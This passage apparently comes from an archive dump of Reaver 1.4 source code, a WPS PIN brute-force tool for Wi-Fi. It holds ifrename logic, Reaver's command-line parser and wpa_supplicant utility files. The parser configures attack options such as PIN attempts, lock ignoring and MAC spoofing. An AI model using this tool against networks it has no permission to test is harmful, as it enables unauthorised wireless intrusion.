ioctl(skfd, SIOCGIFHWADDR, &ifr); /* Go to next interface name */ p = e; p += strspn(p, " \t\n"); } } } /* Done */ fclose(stream); return; } /**************************** MAIN LOGIC ****************************/ /*------------------------------------------------------------------*/ /* * Rename an interface to a specified new name. */ static int process_rename(int skfd, char * ifname, char * newname) { char retname[IFNAMSIZ+1]; int len; char * star; len = strlen(newname); star = strchr(newname, '*'); /* Check newname length, need one extra char for wildcard */ if((len + (star != NULL)) > IFNAMSIZ) { fprintf(stderr, "Error: Interface name `%s' too long.\n", newname); return(-1); } /* Change the name of the interface */ if(if_set_name(skfd, ifname, newname, retname) < 0) { fprintf(stderr, "Error: cannot change name of %s to %s: %s\n", ifname, newname, strerror(errno)); return(-1); } /* Always print out the *new* interface name so that * the calling script can pick it up and know where its interface * has gone. */ printf("%s\n", retname); /* Done */ return(0); } /*------------------------------------------------------------------*/ /* * Process a specified interface. */ static int process_ifname(int skfd, char * ifname, char * args[], int count) { struct if_mapping * target; const struct if_mapping * mapping; char retname[IFNAMSIZ+1]; /* Avoid "Unused parameter" warning */ args = args; count = count; /* Get description of this interface */ target = mapping_extract(skfd, ifname); if(target == NULL) return(-1); /* If udev is calling us, get the real devpath. */ if(udev_output) { const char *env; /* It's passed to us as an environment variable */ env = getenv("DEVPATH"); if(env) { int env_len = strlen(env); target->sysfs_devplen = env_len; /* Make enough space for new interface name */ target->sysfs_devpath = malloc(env_len + IFNAMSIZ + 1); if(target->sysfs_devpath != NULL) memcpy(target->sysfs_devpath, env, env_len + 1); } /* We will get a second chance is the user has some sysfs selectors */ } /* Find matching mapping */ mapping = mapping_find(target); if(mapping == NULL) return(-1); /* If user specified a new name, keep only interfaces that would * match the new name... */ if((new_name != NULL) && (if_match_ifname(mapping->ifname, new_name) != 0)) return(-1); /* Check if user want only dry-run. * Note that, in the case of wildcard, we don't resolve the wildcard. * That would be tricky to do... */ if(dry_run) { strcpy(retname, mapping->ifname); fprintf(stderr, "Dry-run : Would rename %s to %s.\n", target->ifname, mapping->ifname); } else { /* Change the name of the interface */ if(if_set_name(skfd, target->ifname, mapping->ifname, retname) < 0) { fprintf(stderr, "Error: cannot change name of %s to %s: %s\n", target->ifname, mapping->ifname, strerror(errno)); return(-1); } } /* Check if called with an explicit interface name */ if(print_newname) { if(!udev_output) /* Always print out the *new* interface name so that * the calling script can pick it up and know where its interface * has gone. */ printf("%s\n", retname); else /* udev likes to call us as an IMPORT action. This means that * we need to return udev the environment variables changed. * Obviously, we don't want to return anything is nothing changed. */ if(strcmp(target->ifname, retname)) { char * pos; /* Hack */ if(!target->sysfs_devpath) mapping_getsysfs(skfd, ifname, target, 0); /* Update devpath. Size is large enough. */ pos = strrchr(target->sysfs_devpath, '/'); if((pos != NULL) && (!strcmp(target->ifname, pos + 1))) strcpy(pos + 1, retname); /* Return new environment variables */ printf("DEVPATH=%s\nINTERFACE=%s\nINTERFACE_OLD=%s\n", target->sysfs_devpath, retname, target->ifname); } } /* Done */ return(0); } /*------------------------------------------------------------------*/ /* * Process all network interface present on the system. */ static inline int process_iflist(int skfd, char * args[], int count) { num_takeover = 0; /* Just do it */ iw_enum_devices(skfd, &process_ifname, args, count); /* If we do any takeover, the interface list grabbed with * iw_enum_devices() may get out of sync with the real interfaces, * and we may miss the victim interface. So, let's go through the * list again. * On the other hand, we may have ping pong between two interfaces, * each claiming the same name, so let's not do it forever... * Two time should be enough for most configs... * Jean II */ if(force_takeover && num_takeover) /* Play it again, Sam... */ iw_enum_devices(skfd, &process_ifname, args, count); /* Done */ return(0); } /******************************* MAIN *******************************/ /*------------------------------------------------------------------*/ /* */ static void usage(void) { fprintf(stderr, "usage: ifrename [-c configurationfile] [-i ifname] [-p] [-t] [-d] [-D]\n"); exit(1); } /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char * argv[]) { const char * conf_file = DEFAULT_CONF; char * ifname = NULL; int use_probe = 0; int is_debian = 0; int skfd; int ret; /* Loop over all command line options */ while(1) { int c = getopt_long(argc, argv, "c:dDi:n:ptuvV", long_opt, NULL); if(c == -1) break; switch(c) { default: case '?': usage(); case 'c': conf_file = optarg; break; case 'd': is_debian = 1; break; case 'D': dry_run = 1; break; case 'i': ifname = optarg; break; case 'n': new_name = optarg; break; case 'p': use_probe = 1; break; case 't': force_takeover = 1; break; case 'u': udev_output = 1; break; case 'v': printf("%-8.16s Wireless-Tools version %d\n", "ifrename", WT_VERSION); return(0); case 'V': verbose = 1; break; } } /* Read the specified/default config file, or stdin. */ if(mapping_readfile(conf_file) < 0) return(-1); /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return(-1); } /* Check if interface name was specified with -i. */ if(ifname != NULL) { /* Check is target name specified */ if(new_name != NULL) { /* User want to simply rename an interface to a specified name */ ret = process_rename(skfd, ifname, new_name); } else { /* Rename only this interface based on mappings * Mostly used for HotPlug processing (from /etc/hotplug/net.agent) * or udev processing (from a udev IMPORT rule). * Process the network interface specified on the command line, * and return the new name on stdout. */ print_newname = 1; ret = process_ifname(skfd, ifname, NULL, 0); } } else { /* Load all the necesary modules */ if(use_probe) { if(is_debian) probe_debian(skfd); else probe_mappings(skfd); } /* Rename all system interfaces * Mostly used for boot time processing (from init scripts). */ ret = process_iflist(skfd, NULL, 0); } /* Cleanup */ iw_sockets_close(skfd); return(ret); } reaver-1.4/src/argsparser.c0000644000175000017500000002177011705505257015316 0ustar reaverreaver/* * Reaver - Command line processing functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "argsparser.h" /* Processes Reaver command line options */ int process_arguments(int argc, char **argv) { int ret_val = EXIT_SUCCESS; int c = 0, channel = 0; int long_opt_index = 0; char bssid[MAC_ADDR_LEN] = { 0 }; char mac[MAC_ADDR_LEN] = { 0 }; char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:o:p:s:C:aA5ELfnqvDShwN"; struct option long_options[] = { { "interface", required_argument, NULL, 'i' }, { "bssid", required_argument, NULL, 'b' }, { "essid", required_argument, NULL, 'e' }, { "mac", required_argument, NULL, 'm' }, { "timeout", required_argument, NULL, 't' }, { "m57-timeout", required_argument, NULL, 'T' }, { "delay", required_argument, NULL, 'd' }, { "lock-delay", required_argument, NULL, 'l' }, { "fail-wait", required_argument, NULL, 'x' }, { "channel", required_argument, NULL, 'c' }, { "session", required_argument, NULL, 's' }, { "recurring-delay", required_argument, NULL, 'r' }, { "max-attempts", required_argument, NULL, 'g' }, { "out-file", required_argument, NULL, 'o' }, { "pin", required_argument, NULL, 'p' }, { "exec", required_argument, NULL, 'C' }, { "no-associate", no_argument, NULL, 'A' }, { "ignore-locks", no_argument, NULL, 'L' }, { "no-nacks", no_argument, NULL, 'N' }, { "eap-terminate", no_argument, NULL, 'E' }, { "dh-small", no_argument, NULL, 'S' }, { "auto", no_argument, NULL, 'a' }, { "fixed", no_argument, NULL, 'f' }, { "daemonize", no_argument, NULL, 'D' }, { "5ghz", no_argument, NULL, '5' }, { "nack", no_argument, NULL, 'n' }, { "quiet", no_argument, NULL, 'q' }, { "verbose", no_argument, NULL, 'v' }, { "win7", no_argument, NULL, 'w' }, { "help", no_argument, NULL, 'h' }, { 0, 0, 0, 0 } }; /* Since this function may be called multiple times, be sure to set opt index to 0 each time */ optind = 0; while((c = getopt_long(argc, argv, short_options, long_options, &long_opt_index)) != -1) { switch(c) { case 'i': set_iface(optarg); break; case 'b': str2mac((unsigned char *) optarg, (unsigned char *) &bssid); set_bssid((unsigned char *) &bssid); break; case 'e': set_ssid(optarg); break; case 'm': str2mac((unsigned char *) optarg, (unsigned char *) &mac); set_mac((unsigned char *) &mac); break; case 't': set_rx_timeout(atoi(optarg)); break; case 'T': set_m57_timeout(strtof(optarg, NULL) * SEC_TO_US); break; case 'c': channel = strtod(optarg, NULL); set_fixed_channel(1); break; case '5': set_wifi_band(AN_BAND); break; case 'd': set_delay(atoi(optarg)); break; case 'l': set_lock_delay(atoi(optarg)); break; case 'p': parse_static_pin(optarg); break; case 's': set_session(optarg); break; case 'C': set_exec_string(optarg); break; case 'A': set_external_association(1); break; case 'L': set_ignore_locks(1); break; case 'a': set_auto_detect_options(1); break; case 'o': set_log_file(fopen(optarg, "w")); break; case 'x': set_fail_delay(atoi(optarg)); break; case 'r': parse_recurring_delay(optarg); break; case 'g': set_max_pin_attempts(atoi(optarg)); break; case 'D': daemonize(); break; case 'E': set_eap_terminate(1); break; case 'S': set_dh_small(1); break; case 'n': set_timeout_is_nack(0); break; case 'f': set_fixed_channel(1); break; case 'v': set_debug(get_debug() + 1); break; case 'q': set_debug(CRITICAL); break; case 'w': set_win7_compat(1); break; case 'N': set_oo_send_nack(0); break; default: ret_val = EXIT_FAILURE; } } if(channel) { change_channel(channel); } return ret_val; } /* Initialize some basic config settings */ void init_default_settings(void) { set_log_file(stdout); set_max_pin_attempts(P1_SIZE + P2_SIZE); set_delay(DEFAULT_DELAY); set_lock_delay(DEFAULT_LOCK_DELAY); set_debug(INFO); set_auto_channel_select(1); set_timeout_is_nack(1); set_oo_send_nack(1); set_wifi_band(BG_BAND); } /* Parses the recurring delay optarg */ void parse_recurring_delay(char *arg) { char *x = NULL, *y = NULL; x = strdup(arg); y = strchr(x, ':'); if(y) { memset(y, 0, 1); y++; set_recurring_delay_count(atoi(x)); set_recurring_delay(atoi(y)); } free(x); } /* Parse the WPS pin to use into p1 and p2 */ void parse_static_pin(char *pin) { int len = 0; char p1[5] = { 0 }; char p2[4] = { 0 }; if(pin) { len = strlen(pin); if(len == 4 || len == 7 || len == 8) { memcpy((void *) &p1, pin, sizeof(p1)-1); set_static_p1((char *) &p1); set_key_status(KEY2_WIP); if(len > 4) { memcpy((void *) &p2, pin+sizeof(p1)-1, sizeof(p2)-1); set_static_p2((char *) &p2); } } else { cprintf(CRITICAL, "[X] ERROR: Invalid pin specified! Ignoring '%s'.\n", pin); } } } /* Process auto-applied options from the database. read_ap_beacon should be called before this. */ void process_auto_options(void) { char **argv = NULL; int argc = 0, i = 0; char *bssid = NULL, *ssid = NULL; if(get_auto_detect_options()) { bssid = (char *) mac2str(get_bssid(), ':'); if(bssid) { /* If we didn't get the SSID from the beacon packet, check the database */ if(get_ssid() == NULL) { ssid = get_db_ssid(bssid); if(ssid) { set_ssid(ssid); free(ssid); } } argv = auto_detect_settings(bssid, &argc); if(argc > 1 && argv != NULL) { /* Process the command line arguments */ process_arguments(argc, argv); /* Clean up argument memory allocation */ for(i=0; i * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file can be used to define configuration defines that were * originally defined in Makefile. This is mainly meant for IDE use or for * systems that do not have suitable 'make' tool. In these cases, it may be * easier to have a single place for defining all the needed C pre-processor * defines. */ #ifndef BUILD_CONFIG_H #define BUILD_CONFIG_H /* Insert configuration defines, e.g., #define EAP_MD5, here, if needed. */ #ifdef CONFIG_WIN32_DEFAULTS #define CONFIG_NATIVE_WINDOWS #define CONFIG_ANSI_C_EXTRA #define CONFIG_WINPCAP #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define PCSC_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_NAMED_PIPE #define CONFIG_DRIVER_NDIS #define CONFIG_NDIS_EVENTS_INTEGRATED #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define _CRT_SECURE_NO_DEPRECATE #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_WIN32_DEFAULTS */ #ifdef __SYMBIAN32__ #define OS_NO_C_LIB_DEFINES #define CONFIG_ANSI_C_EXTRA #define CONFIG_NO_WPA_MSG #define CONFIG_NO_HOSTAPD_LOGGER #define CONFIG_NO_STDOUT_DEBUG #define CONFIG_BACKEND_FILE #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_FAST #endif /* __SYMBIAN32__ */ #ifdef CONFIG_XCODE_DEFAULTS #define CONFIG_DRIVER_OSX #define CONFIG_BACKEND_FILE #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_UNIX #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define CONFIG_WPS #define EAP_WSC #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_XCODE_DEFAULTS */ #endif /* BUILD_CONFIG_H */ reaver-1.4/src/utils/os_internal.c0000755000175000017500000001647311705505257016631 0ustar reaverreaver/* * wpa_supplicant/hostapd / Internal implementation of OS specific functions * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file is an example of operating system specific wrapper functions. * This version implements many of the functions internally, so it can be used * to fill in missing functions from the target system C libraries. * * Some of the functions are using standard C library calls in order to keep * this file in working condition to allow the functions to be tested on a * Linux target. Please note that OS_NO_C_LIB_DEFINES needs to be defined for * this file to work correctly. Note that these implementations are only * examples and are not optimized for speed. */ #include "includes.h" #undef OS_REJECT_C_LIB_FUNCTIONS #include "os.h" void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; os_memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; *t = (os_time_t) mktime(&tm); return 0; } int os_daemonize(const char *pid_file) { if (daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { os_free(buf); if (errno != ERANGE) { return NULL; } len *= 2; } else { break; } } cwd_len = strlen(cwd); rel_len = strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { return 0; } void os_program_deinit(void) { } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 0, SEEK_SET); buf = os_malloc(*len); if (buf == NULL) { fclose(f); return NULL; } if (fread(buf, 1, *len, f) != *len) { fclose(f); os_free(buf); return NULL; } fclose(f); return buf; } void * os_zalloc(size_t size) { void *n = os_malloc(size); if (n) os_memset(n, 0, size); return n; } void * os_malloc(size_t size) { return malloc(size); } void * os_realloc(void *ptr, size_t size) { return realloc(ptr, size); } void os_free(void *ptr) { free(ptr); } void * os_memcpy(void *dest, const void *src, size_t n) { char *d = dest; const char *s = src; while (n--) *d++ = *s++; return dest; } void * os_memmove(void *dest, const void *src, size_t n) { if (dest < src) os_memcpy(dest, src, n); else { /* overlapping areas */ char *d = (char *) dest + n; const char *s = (const char *) src + n; while (n--) *--d = *--s; } return dest; } void * os_memset(void *s, int c, size_t n) { char *p = s; while (n--) *p++ = c; return s; } int os_memcmp(const void *s1, const void *s2, size_t n) { const unsigned char *p1 = s1, *p2 = s2; if (n == 0) return 0; while (*p1 == *p2) { p1++; p2++; n--; if (n == 0) return 0; } return *p1 - *p2; } char * os_strdup(const char *s) { char *res; size_t len; if (s == NULL) return NULL; len = os_strlen(s); res = os_malloc(len + 1); if (res) os_memcpy(res, s, len + 1); return res; } size_t os_strlen(const char *s) { const char *p = s; while (*p) p++; return p - s; } int os_strcasecmp(const char *s1, const char *s2) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strcmp(s1, s2); } int os_strncasecmp(const char *s1, const char *s2, size_t n) { /* * Ignoring case is not required for main functionality, so just use * the case sensitive version of the function. */ return os_strncmp(s1, s2, n); } char * os_strchr(const char *s, int c) { while (*s) { if (*s == c) return (char *) s; s++; } return NULL; } char * os_strrchr(const char *s, int c) { const char *p = s; while (*p) p++; p--; while (p >= s) { if (*p == c) return (char *) p; p--; } return NULL; } int os_strcmp(const char *s1, const char *s2) { while (*s1 == *s2) { if (*s1 == '\0') break; s1++; s2++; } return *s1 - *s2; } int os_strncmp(const char *s1, const char *s2, size_t n) { if (n == 0) return 0; while (*s1 == *s2) { if (*s1 == '\0') break; s1++; s2++; n--; if (n == 0) return 0; } return *s1 - *s2; } char * os_strncpy(char *dest, const char *src, size_t n) { char *d = dest; while (n--) { *d = *src; if (*src == '\0') break; d++; src++; } return dest; } size_t os_strlcpy(char *dest, const char *src, size_t siz) { const char *s = src; size_t left = siz; if (left) { /* Copy string up to the maximum size of the dest buffer */ while (--left != 0) { if ((*dest++ = *s++) == '\0') break; } } if (left == 0) { /* Not enough room for the string; force NUL-termination */ if (siz != 0) *dest = '\0'; while (*s++) ; /* determine total src string length */ } return s - src - 1; } char * os_strstr(const char *haystack, const char *needle) { size_t len = os_strlen(needle); while (*haystack) { if (os_strncmp(haystack, needle, len) == 0) return (char *) haystack; haystack++; } return NULL; } int os_snprintf(char *str, size_t size, const char *format, ...) { va_list ap; int ret; /* See http://www.ijs.si/software/snprintf/ for portable * implementation of snprintf. */ va_start(ap, format); ret = vsnprintf(str, size, format, ap); va_end(ap); if (size > 0) str[size - 1] = '\0'; return ret; } reaver-1.4/src/utils/trace.c0000755000175000017500000001531311705505257015402 0ustar reaverreaver/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #ifdef WPA_TRACE static struct dl_list active_references = { &active_references, &active_references }; #ifdef WPA_TRACE_BFD #include #ifdef __linux__ #include #else /* __linux__ */ #include #endif /* __linux__ */ static char *prg_fname = NULL; static bfd *cached_abfd = NULL; static asymbol **syms = NULL; static void get_prg_fname(void) { char exe[50], fname[512]; int len; os_snprintf(exe, sizeof(exe) - 1, "/proc/%u/exe", getpid()); len = readlink(exe, fname, sizeof(fname) - 1); if (len < 0 || len >= (int) sizeof(fname)) { perror("readlink"); return; } fname[len] = '\0'; prg_fname = strdup(fname); } static bfd * open_bfd(const char *fname) { bfd *abfd; char **matching; abfd = bfd_openr(prg_fname, NULL); if (abfd == NULL) { wpa_printf(MSG_INFO, "bfd_openr failed"); return NULL; } if (bfd_check_format(abfd, bfd_archive)) { wpa_printf(MSG_INFO, "bfd_check_format failed"); bfd_close(abfd); return NULL; } if (!bfd_check_format_matches(abfd, bfd_object, &matching)) { wpa_printf(MSG_INFO, "bfd_check_format_matches failed"); free(matching); bfd_close(abfd); return NULL; } return abfd; } static void read_syms(bfd *abfd) { long storage, symcount; bfd_boolean dynamic = FALSE; if (syms) return; if (!(bfd_get_file_flags(abfd) & HAS_SYMS)) { wpa_printf(MSG_INFO, "No symbols"); return; } storage = bfd_get_symtab_upper_bound(abfd); if (storage == 0) { storage = bfd_get_dynamic_symtab_upper_bound(abfd); dynamic = TRUE; } if (storage < 0) { wpa_printf(MSG_INFO, "Unknown symtab upper bound"); return; } syms = malloc(storage); if (syms == NULL) { wpa_printf(MSG_INFO, "Failed to allocate memory for symtab " "(%ld bytes)", storage); return; } if (dynamic) symcount = bfd_canonicalize_dynamic_symtab(abfd, syms); else symcount = bfd_canonicalize_symtab(abfd, syms); if (symcount < 0) { wpa_printf(MSG_INFO, "Failed to canonicalize %ssymtab", dynamic ? "dynamic " : ""); free(syms); syms = NULL; return; } } struct bfd_data { bfd_vma pc; bfd_boolean found; const char *filename; const char *function; unsigned int line; }; static void find_addr_sect(bfd *abfd, asection *section, void *obj) { struct bfd_data *data = obj; bfd_vma vma; bfd_size_type size; if (data->found) return; if (!(bfd_get_section_vma(abfd, section))) return; vma = bfd_get_section_vma(abfd, section); if (data->pc < vma) return; size = bfd_get_section_size(section); if (data->pc >= vma + size) return; data->found = bfd_find_nearest_line(abfd, section, syms, data->pc - vma, &data->filename, &data->function, &data->line); } static void wpa_trace_bfd_addr(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; const char *name; char *aname = NULL; const char *filename; if (abfd == NULL) return; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return; do { if (data.function) aname = bfd_demangle(abfd, data.function, DMGL_ANSI | DMGL_PARAMS); name = aname ? aname : data.function; filename = data.filename; if (filename) { char *end = os_strrchr(filename, '/'); int i = 0; while (*filename && *filename == prg_fname[i] && filename <= end) { filename++; i++; } } wpa_printf(MSG_INFO, " %s() %s:%u", name, filename, data.line); free(aname); data.found = bfd_find_inliner_info(abfd, &data.filename, &data.function, &data.line); } while (data.found); } static const char * wpa_trace_bfd_addr2func(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; if (abfd == NULL) return NULL; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return NULL; return data.function; } static void wpa_trace_bfd_init(void) { if (!prg_fname) { get_prg_fname(); if (!prg_fname) return; } if (!cached_abfd) { cached_abfd = open_bfd(prg_fname); if (!cached_abfd) { wpa_printf(MSG_INFO, "Failed to open bfd"); return; } } read_syms(cached_abfd); if (!syms) { wpa_printf(MSG_INFO, "Failed to read symbols"); return; } } void wpa_trace_dump_funcname(const char *title, void *pc) { wpa_printf(MSG_INFO, "WPA_TRACE: %s: %p", title, pc); wpa_trace_bfd_init(); wpa_trace_bfd_addr(pc); } #else /* WPA_TRACE_BFD */ #define wpa_trace_bfd_init() do { } while (0) #define wpa_trace_bfd_addr(pc) do { } while (0) #define wpa_trace_bfd_addr2func(pc) NULL #endif /* WPA_TRACE_BFD */ void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num) { char **sym; int i; enum { TRACE_HEAD, TRACE_RELEVANT, TRACE_TAIL } state; wpa_trace_bfd_init(); wpa_printf(MSG_INFO, "WPA_TRACE: %s - START", title); sym = backtrace_symbols(btrace, btrace_num); state = TRACE_HEAD; for (i = 0; i < btrace_num; i++) { const char *func = wpa_trace_bfd_addr2func(btrace[i]); if (state == TRACE_HEAD && func && (os_strcmp(func, "wpa_trace_add_ref_func") == 0 || os_strcmp(func, "wpa_trace_check_ref") == 0 || os_strcmp(func, "wpa_trace_show") == 0)) continue; if (state == TRACE_TAIL && sym && sym[i] && os_strstr(sym[i], "__libc_start_main")) break; if (state == TRACE_HEAD) state = TRACE_RELEVANT; if (sym) wpa_printf(MSG_INFO, "[%d]: %s", i, sym[i]); else wpa_printf(MSG_INFO, "[%d]: ?? [%p]", i, btrace[i]); wpa_trace_bfd_addr(btrace[i]); if (state == TRACE_RELEVANT && func && os_strcmp(func, "main") == 0) state = TRACE_TAIL; } free(sym); wpa_printf(MSG_INFO, "WPA_TRACE: %s - END", title); } void wpa_trace_show(const char *title) { struct info { WPA_TRACE_INFO } info; wpa_trace_record(&info); wpa_trace_dump(title, &info); } void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr) { if (addr == NULL) return; ref->addr = addr; wpa_trace_record(ref); dl_list_add(&active_references, &ref->list); } void wpa_trace_check_ref(const void *addr) { struct wpa_trace_ref *ref; dl_list_for_each(ref, &active_references, struct wpa_trace_ref, list) { if (addr != ref->addr) continue; wpa_trace_show("Freeing referenced memory"); wpa_trace_dump("Reference registration", ref); abort(); } } #endif /* WPA_TRACE */ reaver-1.4/src/utils/uuid.h0000755000175000017500000000116711705505257015261 0ustar reaverreaver/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef UUID_H #define UUID_H #define UUID_LEN 16 int uuid_str2bin(const char *str, u8 *bin); int uuid_bin2str(const u8 *bin, char *str, size_t max_len); int is_nil_uuid(const u8 *uuid); #endif /* UUID_H */ reaver-1.4/src/utils/eloop.h0000755000175000017500000002757211705505257015441 0ustar reaverreaver/* * Event loop * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines an event loop interface that supports processing events * from registered timeouts (i.e., do something after N seconds), sockets * (e.g., a new packet available for reading), and signals. eloop.c is an * implementation of this interface using select() and sockets. This is * suitable for most UNIX/POSIX systems. When porting to other operating * systems, it may be necessary to replace that implementation with OS specific * mechanisms. */ #ifndef ELOOP_H #define ELOOP_H /** * ELOOP_ALL_CTX - eloop_cancel_timeout() magic number to match all timeouts */ #define ELOOP_ALL_CTX (void *) -1 /** * eloop_event_type - eloop socket event type for eloop_register_sock() * @EVENT_TYPE_READ: Socket has data available for reading * @EVENT_TYPE_WRITE: Socket has room for new data to be written * @EVENT_TYPE_EXCEPTION: An exception has been reported */ typedef enum { EVENT_TYPE_READ = 0, EVENT_TYPE_WRITE, EVENT_TYPE_EXCEPTION } eloop_event_type; /** * eloop_sock_handler - eloop socket event callback type * @sock: File descriptor number for the socket * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_sock_handler)(int sock, void *eloop_ctx, void *sock_ctx); /** * eloop_event_handler - eloop generic event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_event_handler)(void *eloop_data, void *user_ctx); /** * eloop_timeout_handler - eloop timeout event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx); /** * eloop_signal_handler - eloop signal event callback type * @sig: Signal number * @signal_ctx: Registered callback context data (user_data from * eloop_register_signal(), eloop_register_signal_terminate(), or * eloop_register_signal_reconfig() call) */ typedef void (*eloop_signal_handler)(int sig, void *signal_ctx); /** * eloop_init() - Initialize global event loop data * Returns: 0 on success, -1 on failure * * This function must be called before any other eloop_* function. */ int eloop_init(void); /** * eloop_register_read_sock - Register handler for read events * @sock: File descriptor number for the socket * @handler: Callback function to be called when data is available for reading * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a read socket notifier for the given file descriptor. The handler * function will be called whenever data is available for reading from the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int 